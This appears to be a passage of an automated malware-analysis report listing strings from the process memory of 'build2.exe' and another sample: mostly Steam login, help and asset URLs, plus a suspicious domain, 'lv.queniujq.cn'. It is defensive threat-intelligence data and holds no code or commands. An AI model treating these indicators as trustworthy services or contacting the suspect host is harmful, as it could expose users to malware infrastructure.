Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.TP5s6TzX6LLh
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis
Source: build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126494403.00000000007A3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126494403.00000000007A3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=c4UneKQJ
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126494403.00000000007A3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=2YYI
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/global.js?v=B7Vsdo1okyaC&l=english
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalContent.js?v=L35TrLJDfqtD&l=engl
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/profile.js?v=Iy1ies1ROjUT&l=english
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=ZVlkBFZXqRp1&l=e
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english
Source: build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=SPpMitTYp6ku&l=en
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126494403.00000000007A3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126494403.00000000007A3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126494403.00000000007A3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126494403.00000000007A3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=1_BxDGVvfXwv&am
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Source: Z4CYGTBlj7.exe, 00000005.00000003.2117505827.00000000096E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/react-native-community/react-native-netinfo
Source: build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126494403.00000000007A3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126573580.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2124568552.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: build2.exe, 00000009.00000003.2126573580.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2124568552.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: Z4CYGTBlj7.exe, 00000005.00000003.2111344683.00000000096E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://mrodevicemgr.officeapps.live.com/mrodevicemgrsvc/api
Source: build2.exe, 00000009.00000003.2126573580.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2124568552.00000000007B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126573580.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2124568552.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: build2.exe, 00000009.00000003.2126573580.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2124568552.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: build2.exe, 00000009.00000003.2126573580.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2124568552.00000000007B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: build2.exe, 00000009.00000003.2126573580.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2124568552.00000000007B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126573580.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2124568552.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
